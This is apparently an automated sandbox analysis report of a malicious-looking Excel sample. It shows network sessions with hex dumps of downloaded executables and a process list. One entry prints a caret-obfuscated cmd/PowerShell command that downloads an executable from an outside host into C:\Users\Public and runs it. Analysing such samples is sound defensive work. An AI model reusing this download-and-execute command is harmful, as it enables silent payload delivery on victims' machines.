                                                                                                                                                  2022-12-04 11:13:34 UTC1934INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  43192.168.2.34975893.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:13:35 UTC1934OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:13:35 UTC1934INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:13:35 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:13:35 UTC1934INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  44192.168.2.34975993.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:14:11 UTC1942OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:14:11 UTC1942INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:14:11 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                  2022-12-04 11:14:11 UTC1942INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  45192.168.2.34976093.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:14:11 UTC1943OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:14:11 UTC1943INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:14:11 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:14:11 UTC1943INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  46192.168.2.34976193.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:14:52 UTC1951OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:14:52 UTC1951INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:14:52 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                  2022-12-04 11:14:52 UTC1951INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  47192.168.2.34976293.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:14:52 UTC1952OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:14:52 UTC1952INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:14:52 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:14:52 UTC1952INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  5192.168.2.34970593.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:06:12 UTC1453OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:06:12 UTC1453INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:06:12 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:06:12 UTC1453INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  6192.168.2.34970693.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:06:20 UTC1461OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:06:20 UTC1461INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:06:20 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                  2022-12-04 11:06:20 UTC1462INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  7192.168.2.34970793.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:06:20 UTC1462OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:06:20 UTC1462INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:06:20 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:06:20 UTC1462INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  8192.168.2.34970893.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:06:28 UTC1470OUTGET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                  2022-12-04 11:06:28 UTC1470INHTTP/1.1 302 Found
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:06:28 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Location: https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe
                                                                                                                                                  Content-Length: 302
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                  2022-12-04 11:06:28 UTC1470INData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 65 2e 65 61 72 74 68 2e 6c 69 2f 7e 73 67 74 61 74 68 61 6d 2f 70 75 74 74 79 2f 30 2e 37 38 2f 77 33 32 2f 70 75 74 74 79 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20
                                                                                                                                                  Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://the.earth.li/~sgtatham/putty/0.78/w32/putty.exe">here</a>.</p><hr><address>Apache Server at


                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                  9192.168.2.34970993.93.131.124443C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                  2022-12-04 11:06:28 UTC1471OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:06:28 UTC1471INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:06:28 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:06:28 UTC1471INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X


                                                                                                                                                  Statistics

                                                                                                                                                  CPU Usage

                                                                                                                                                  Click to jump to process

                                                                                                                                                  Memory Usage

                                                                                                                                                  Click to jump to process

                                                                                                                                                  High Level Behavior Distribution

                                                                                                                                                  Click to dive into process behavior distribution

                                                                                                                                                  Behavior

                                                                                                                                                  Click to jump to process

                                                                                                                                                  System Behavior

                                                                                                                                                  General

                                                                                                                                                  Target ID:0
                                                                                                                                                  Start time:12:05:47
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:"C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding
                                                                                                                                                  Imagebase:0x2e0000
                                                                                                                                                  File size:27110184 bytes
                                                                                                                                                  MD5 hash:5D6638F2C8F8571C593999C58866007E
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high

                                                                                                                                                  General

                                                                                                                                                  Target ID:1
                                                                                                                                                  Start time:12:05:50
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high

                                                                                                                                                  General

                                                                                                                                                  Target ID:2
                                                                                                                                                  Start time:12:05:51
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high

                                                                                                                                                  General

                                                                                                                                                  Target ID:3
                                                                                                                                                  Start time:12:05:51
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET
                                                                                                                                                  Reputation:high

                                                                                                                                                  General

                                                                                                                                                  Target ID:4
                                                                                                                                                  Start time:12:05:58
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                  Reputation:high

                                                                                                                                                  General

